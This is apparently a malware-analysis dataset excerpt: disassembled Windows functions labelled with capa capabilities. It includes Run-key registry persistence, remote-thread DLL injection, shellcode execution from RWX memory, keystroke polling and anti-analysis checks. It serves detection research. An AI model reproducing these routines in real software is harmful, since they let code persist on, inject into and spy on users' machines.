joyce8/EMBER2024-capa huggingface dataset:
Function at 0x71001323
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
lea eax, [ebp - 0x31c]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x31c]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x420]
mov dword [eax], 0x74666f53
mov dword [eax + 4], 0x65726177
mov dword [eax + 8], 0x63694d5c
mov dword [eax + 0xc], 0x6f736f72
mov dword [eax + 0x10], 0x575c7466
mov dword [eax + 0x14], 0x6f646e69
mov dword [eax + 0x18], 0x435c7377
mov dword [eax + 0x1c], 0x65727275
mov dword [eax + 0x20], 0x6556746e
mov dword [eax + 0x24], 0x6f697372
mov dword [eax + 0x28], 0x75525c6e
mov word [eax + 0x2c], 0x6e
lea eax, [ebp - 0x424]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
lea eax, [ebp - 0x420]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x71001458
mov dword [esp], str.Error:_Can_not_open_the_registry_key.
call sym._puts
jmp 0x710014c9
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x424]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x114]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
lea edx, [ebp - 0x218]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x710014b8
mov dword [esp], str.Error:_Can_not_add_the_value_to_the_registry_key.
call sym._puts
jmp 0x710014c9
mov eax, dword [ebp - 0x424]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
leave
ret
Function at 0x71001539
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x71001632
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x710016a0
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x710017db
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret
Function at 0x71001be0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x7100603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x71006034]
sub esp, 4
test ebx, ebx
je 0x71001c2b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x71001c24
test esi, esi
je 0x71001c24
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x71001c00
mov dword [esp], 0x7100603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x71001e10
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x71004180
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x71001e60
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x71001f38
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x71001e9e
cmp eax, 4
jne 0x71001ec0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x71001eae
cmp edx, 4
je 0x71001eae
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.71001e10
Function at 0x4014c0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10c
mov eax, dword [0x4f2b64]
xor eax, esp
mov dword [esp + 0x108], eax
mov eax, dword [esp + 0x114]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x11c]
push 0x104
mov ebx, ecx
lea ecx, [esp + 0x14]
push 0
push ecx
mov dword [esp + 0x18], eax
call fcn.00456900
add esp, 0xc
cmp dword [esi + 0x18], 8
lea ebp, [esi + 4]
jb 0x40150d
mov eax, dword [ebp]
jmp 0x40150f
mov eax, ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 1
call edi
cmp dword [esi + 0x18], 8
jb 0x401532
mov ecx, dword [ebp]
jmp 0x401534
mov ecx, ebp
xor ebp, ebp
push ebp
push ebp
push eax
lea edx, [esp + 0x20]
push edx
push 0xffffffffffffffff
push ecx
push ebp
push 1
call edi
mov eax, dword [esp + 0x10]
mov edi, dword [ebx + 4]
push eax
lea edx, [esp + 0x18]
call fcn.004012e0
mov esi, dword [ebx + 4]
lea ecx, [esp + 0x10]
push ecx
push ebp
push esi
push 0x401260
push ebp
push ebp
mov dword [esp + 0x28], ebp
call fcn.0045f4cf
add esp, 0x18
cmp eax, ebp
mov dword [esi + 0x10], eax
pop edi
je 0x4015a6
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x40159e
mov edx, dword [esi + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x10], ebp
mov eax, dword [ebx + 4]
mov al, byte [eax + 4]
jmp 0x4015ac
mov ecx, dword [ebx + 4]
mov al, byte [ecx + 4]
jmp 0x4015ac
mov edx, dword [ebx + 4]
mov al, byte [edx + 4]
mov ecx, dword [esp + 0x114]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004562c9
add esp, 0x10c
ret 8
Function at 0x402350
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x4b3818
mov eax, dword fs:[0]
push eax
sub esp, 0x628
mov eax, dword [0x4f2b64]
xor eax, esp
mov dword [esp + 0x624], eax
push ebx
push ebp
push edi
mov eax, dword [0x4f2b64]
xor eax, esp
push eax
lea eax, [esp + 0x638]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esi], ebx
mov eax, 7
mov dword [esi + 0x20], eax
mov dword [esi + 0x1c], ebx
mov dword [esp + 0x10], esi
mov word [esi + 0xc], bx
lea edi, [esi + 0x24]
mov dword [esp + 0x640], ebx
mov dword [edi + 0x18], eax
mov dword [edi + 0x14], ebx
mov word [edi + 4], bx
mov dword [esi + 0x58], eax
mov dword [esi + 0x54], ebx
mov word [esi + 0x44], bx
lea ecx, [esi + 0x5c]
mov byte [esp + 0x640], 2
push ebx
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push 0x4de15c
mov byte [ecx + 4], bl
call fcn.004018a0
push ebx
mov byte [esp + 0x644], 3
call fcn.00459781
push eax
call fcn.00459cc1
push 0x20a
lea eax, [esp + 0x22]
push ebx
push eax
mov word [esp + 0x28], bx
call fcn.00456900
add esp, 0x14
lea ecx, [esp + 0x14]
push ecx
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
add eax, 0xffffffff
cmp eax, 0x103
ja 0x4024b1
push 0x410
lea edx, [esp + 0x226]
push ebx
push edx
mov word [esp + 0x22a], bx
mov word [esp + 0x22c], bx
call fcn.00456900
add esp, 0xc
push 0x208
lea eax, [esp + 0x224]
push eax
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
cmp eax, 0x208
ja 0x40248e
cmp eax, ebx
je 0x40248e
lea edx, [esp + 0x220]
push edx
mov ecx, edi
mov word [esp + eax*2 + 0x224], bx
call fcn.00401810
jmp 0x4024b1
lea eax, [esp + 0x14]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x402495
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x18]
push eax
mov ecx, edi
call fcn.00401ae0
mov eax, dword [esi + 0x38]
cmp eax, ebx
je 0x4024e8
lea ebp, [eax - 1]
cmp ebp, dword [edi + 0x14]
jbe 0x4024c5
call fcn.00455ef2
cmp dword [edi + 0x18], 8
jb 0x4024d0
mov eax, dword [edi + 4]
jmp 0x4024d3
lea eax, [edi + 4]
cmp word [eax + ebp*2], 0x5c
je 0x4024e8
push 1
push 0x4de160
mov ecx, edi
call fcn.00403a60
cmp dword [esi + 0x38], ebx
jne 0x4024fb
push 3
push 0x4de164
mov ecx, edi
call fcn.00401ae0
mov eax, esi
mov dword [esi + 4], ebx
mov ecx, dword [esp + 0x638]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 0x624]
xor ecx, esp
call fcn.004562c9
add esp, 0x634
ret
Function at 0x403d20
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push 0xffffffffffffffff
push 0x4b38e8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
push edi
mov eax, dword [0x4f2b64]
xor eax, esp
push eax
lea eax, [esp + 0x2c]
mov dword fs:[0], eax
mov eax, dword [esp + 0x40]
xor edi, edi
push 0xffffffffffffffff
push edi
push eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], edi
mov dword [esp + 0x34], 7
mov dword [esp + 0x30], edi
mov word [esp + 0x20], di
call fcn.00401db0
mov edx, dword [esp + 0x44]
mov eax, edx
mov dword [esp + 0x34], edi
lea esi, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x403d80
sub eax, esi
sar eax, 1
push eax
push edx
lea ecx, [esp + 0x18]
call fcn.00403a60
mov esi, dword [esp + 0x3c]
push 0xffffffffffffffff
push edi
mov dword [esi + 0x18], 7
mov dword [esi + 0x14], edi
push eax
mov ecx, esi
mov word [esi + 4], di
call fcn.00401db0
cmp dword [esp + 0x28], 8
jb 0x403dcb
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0043a767
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x2c
ret

Function at 0x404720
Capabilities:
Get http content length

Disassembly:
mov eax, dword [eax + 4]
sub esp, 8
test eax, eax
je 0x40475f
push 0
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 8]
push edx
push 0x20000005
push eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x40475f
mov eax, dword [esp]
xor edx, edx
add esp, 8
ret
xor eax, eax
xor edx, edx
add esp, 8
ret
Function at 0x40665d
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push ebx
push esi
push edi
push 0x11
pop edi
lea eax, [ebp - 0xc]
push eax
mov esi, ecx
mov ecx, dword [esi + 4]
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0xc], edi
call fcn.004061a5
mov eax, dword [esi + 4]
push eax
push dword [eax + 4]
lea ecx, [ebp - 0x1c]
call fcn.0041131b
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x14]
call fcn.00410ab3
test al, al
jne 0x4066c0
push dword [ebp - 0x10]
mov ecx, dword [esi + 4]
push dword [ebp - 0x14]
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 8], 1
call fcn.0041ba02
jmp 0x4066d3
push edi
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge 0x4066e2
mov dword [ebp - 8], 1
push 0x4b6edc
push dword [ebp + 8]
call fcn.004568ab
pop ecx
pop ecx
mov ecx, dword [esi + 4]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0xc], 0x10
call fcn.004061a5
mov edi, dword [eax]
mov ebx, dword [eax + 4]
mov eax, dword [esi + 4]
push eax
push dword [eax + 4]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], ebx
call fcn.0041131b
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x14]
call fcn.00410ab3
test al, al
jne 0x40673a
mov ecx, dword [esi + 4]
push ebx
push edi
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 4], 1
call fcn.0041ba02
jmp 0x40674e
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge 0x406779
mov dword [ebp - 4], 1
push dword [ebp + 8]
call fcn.0045697a
test eax, eax
pop ecx
jle 0x40676a
push 0x4b6ed8
push dword [ebp + 8]
call fcn.004568ab
pop ecx
pop ecx
push 0x4b6ecc
push dword [ebp + 8]
call fcn.004568ab
pop ecx
pop ecx
mov eax, dword [esi + 4]
push eax
mov eax, dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x14]
xor edi, edi
call fcn.0041131b
mov eax, dword [esi + 4]
push eax
push dword [eax + 4]
lea ecx, [ebp - 0x1c]
call fcn.0041131b
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x14]
call fcn.00410ab3
test al, al
jne 0x406858
lea ecx, [ebp - 0x14]
call fcn.0040acc1
mov eax, dword [eax]
push eax
mov ecx, esi
mov dword [ebp - 0xc], eax
call fcn.004062ee
mov ebx, eax
test ebx, ebx
je 0x4067f4
push dword [ebp + 8]
call fcn.0045697a
test eax, eax
pop ecx
jle 0x4067e6
push 0x4b6ed8
push dword [ebp + 8]
call fcn.004568ab
pop ecx
pop ecx
push ebx
push dword [ebp + 8]
call fcn.004568ab
pop ecx
xor edi, edi
pop ecx
inc edi
lea ecx, [ebp - 0x14]
call fcn.004166d1
mov eax, dword [esi + 4]
push eax
push dword [eax + 4]
lea ecx, [ebp - 0x1c]
call fcn.0041131b
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x14]
call fcn.00410ab3
test al, al
je 0x4067af
xor ecx, ecx
cmp edi, ecx
je 0x406858
cmp dword [ebp - 8], ecx
je 0x40682d
cmp dword [ebp - 4], ecx
je 0x406832
jmp 0x406851
cmp dword [ebp - 4], ecx
je 0x406856
mov eax, dword [ebp - 0xc]
cmp eax, 0x41
jb 0x40683f
cmp eax, 0x5a
jbe 0x406856
cmp eax, 0x30
jb 0x406849
cmp eax, 0x39
jbe 0x406856
add eax, 0xffffffa0
cmp eax, 9
jbe 0x406856
xor edi, edi
inc edi
jmp 0x406858
xor edi, edi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40804d
Capabilities:
Create process on windows

Disassembly:
push 0x58
mov eax, 0x4afec1
call fcn.004562d8
call fcn.00405e33
mov edx, dword [eax]
push 0xb8
mov ecx, eax
call dword [edx]
mov edi, eax
call fcn.0044466e
push eax
lea ecx, [ebp - 0x10]
call fcn.00407c82
push edi
push dword [ebp + 8]
xor esi, esi
push str.DFMutual.exe
mov dword [ebp - 4], esi
call fcn.00405df2
mov ecx, eax
call fcn.0040ca55
push eax
lea eax, [ebp - 0x10]
push str.__s_s___s__d
push eax
call fcn.0040803a
push 0x44
pop edi
push edi
lea eax, [ebp - 0x64]
push esi
push eax
call fcn.00456900
push 0x10
lea eax, [ebp - 0x20]
push esi
push eax
mov dword [ebp - 0x64], edi
call fcn.00456900
mov edi, dword [ebp - 0x10]
add esp, 0x30
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0xffffffffffffffff
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1c]
call esi
lea ecx, [edi - 0x10]
call fcn.004079b7
call fcn.004563b0
ret
Function at 0x409833
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x4f2b64]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
push edi
mov esi, ecx
call fcn.0040909b
test eax, eax
je 0x409867
push str.load_mn_from_mem
call fcn.00416101
pop ecx
jmp 0x409909
push 0x4b7560
call fcn.00416101
pop ecx
mov ecx, esi
call fcn.004095a0
cmp dword [esi + 0x1c], 8
jb 0x409884
mov eax, dword [esi + 8]
jmp 0x409887
lea eax, [esi + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x409909
and word [ebp - 0x20c], 0
push 0x206
lea eax, [ebp - 0x20a]
push 0
push eax
call fcn.00456900
lea eax, [ebp - 0x20c]
push 0x4b755c
push eax
call fcn.004568d5
add esp, 0x14
cmp dword [esi + 0x1c], 8
jb 0x4098cc
mov esi, dword [esi + 8]
jmp 0x4098cf
add esi, 8
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.004568ab
lea eax, [ebp - 0x20c]
push 0x4b7554
push eax
call fcn.004568ab
lea eax, [ebp - 0x20c]
push edi
push eax
call fcn.004568ab
lea eax, [ebp - 0x20c]
push eax
call fcn.0040f2f8
add esp, 0x1c
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004562c9
leave
ret 4
Function at 0x40c4bf
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x4f2b64]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
mov edi, ecx
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x210], esi
call fcn.0045697a
test eax, eax
pop ecx
mov ebx, 0x4b7d00
jne 0x40c501
mov dword [edi], 1
jmp 0x40c511
push ebx
push esi
call fcn.00458410
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov dword [edi], eax
xor esi, esi
push 0x206
lea eax, [ebp - 0x20a]
push esi
push eax
mov word [ebp - 0x20c], si
call fcn.00456900
add esp, 0xc
cmp dword [ebp + 0x10], esi
lea eax, [edi + 0x14]
push eax
lea eax, [ebp - 0x20c]
je 0x40c545
push str._sTempSkinSkin.xml
jmp 0x40c54a
push str._sSkinSkin.xml
push eax
call fcn.004567da
add esp, 0xc
cmp dword [edi], esi
jne 0x40c56e
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40c56e
mov dword [edi], 1
xor eax, eax
cmp dword [edi + 8], eax
mov esi, 0x9f
jne 0x40c614
cmp dword [ebp + 0x10], eax
jne 0x40c61b
cmp dword [edi], eax
je 0x40c5c6
call fcn.00405e33
mov edx, dword [eax]
push 0
push 0x57
mov ecx, eax
call dword [edx + 0x2c]
call fcn.00405e33
mov edx, dword [eax]
push ebx
push esi
mov ecx, eax
call dword [edx + 8]
call fcn.00405e33
mov edx, dword [eax]
push 0x57
mov ecx, eax
call dword [edx + 0x14]
call fcn.00405e33
mov edx, dword [eax]
push esi
mov ecx, eax
call dword [edx + 0x14]
jmp 0x40c63a
call fcn.00405e33
mov edx, dword [eax]
push 1
push 0x57
mov ecx, eax
call dword [edx + 0xc]
call fcn.00405e33
mov edx, dword [eax]
push 1
push 0x57
mov ecx, eax
call dword [edx + 0x2c]
call fcn.00405e33
push dword [ebp - 0x210]
mov edx, dword [eax]
push esi
mov ecx, eax
call dword [edx + 8]
call fcn.00405e33
mov edx, dword [eax]
push 0x57
mov ecx, eax
call dword [edx + 0x14]
call fcn.00405e33
mov edx, dword [eax]
push esi
mov ecx, eax
call dword [edx + 0x14]
xor eax, eax
cmp dword [ebp + 0x10], eax
je 0x40c63a
cmp dword [edi], eax
je 0x40c627
call fcn.00405e33
push ebx
jmp 0x40c632
call fcn.00405e33
push dword [ebp - 0x210]
mov edx, dword [eax]
push esi
mov ecx, eax
call dword [edx + 0x28]
and dword [edi + 8], 0
mov ecx, edi
call fcn.0040c29a
push dword [ebp + 0x10]
mov ecx, edi
push dword [ebp - 0x214]
call fcn.0040bb2a
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004562c9
leave
ret 0xc
Function at 0x40c71d
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.00415fad
mov dword [esi], eax
call fcn.004160e6
mov dword [esi + 8], eax
call fcn.00415f23
mov dword [esi + 0xc], eax
call fcn.0041609c
mov dword [esi + 0x10], eax
call fcn.00416008
mov dword [esi + 0x18], eax
call fcn.00416052
mov edi, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov dword [esi + 0x1c], eax
mov eax, dword [esi]
mov dword [esi + 4], eax
lea eax, [esi + 0x1a0]
push eax
call edi
lea eax, [esi + 0x1b8]
push eax
call edi
lea eax, [esi + 0x1a8]
push eax
call edi
lea eax, [esi + 0x1e8]
push eax
call edi
lea eax, [esi + 0x1c8]
push eax
call edi
lea eax, [esi + 0x1d8]
push eax
call edi
mov eax, dword [0x4f4a50]
pop edi
mov dword [esi + 0x190], eax
pop esi
ret

Function at 0x40c79f
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x4f2b64]
xor eax, ebp
mov dword [ebp + 0x9c], eax
push 0x11c
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.00456900
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x7c], 6
jne 0x40c7fa
xor eax, eax
inc eax
cmp dword [ebp - 0x78], 0
je 0x40c7f2
cmp dword [ebp - 0x78], eax
jne 0x40c7fa
cmp byte [ebp + 0x9a], al
je 0x40c7fc
xor eax, eax
mov ecx, dword [ebp + 0x9c]
xor ecx, ebp
call fcn.004562c9
add ebp, 0xa0
leave
ret

Function at 0x40c907
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x4f2b64]
xor eax, ebp
mov dword [ebp - 4], eax
and word [ebp - 0x20c], 0
push esi
push 0x206
lea eax, [ebp - 0x20a]
push 0
push eax
mov esi, ecx
call fcn.00456900
add esp, 0xc
cmp dword [esi + 0x58], 8
jb 0x40c946
mov esi, dword [esi + 0x44]
jmp 0x40c949
add esi, 0x44
push str.AllSkin
push esi
lea eax, [ebp - 0x20c]
push 0x4b7dd0
push eax
call fcn.004567da
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
pop esi
jne 0x40c982
lea eax, [ebp - 0x20c]
push eax
call fcn.0040e61e
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004562c9
leave
ret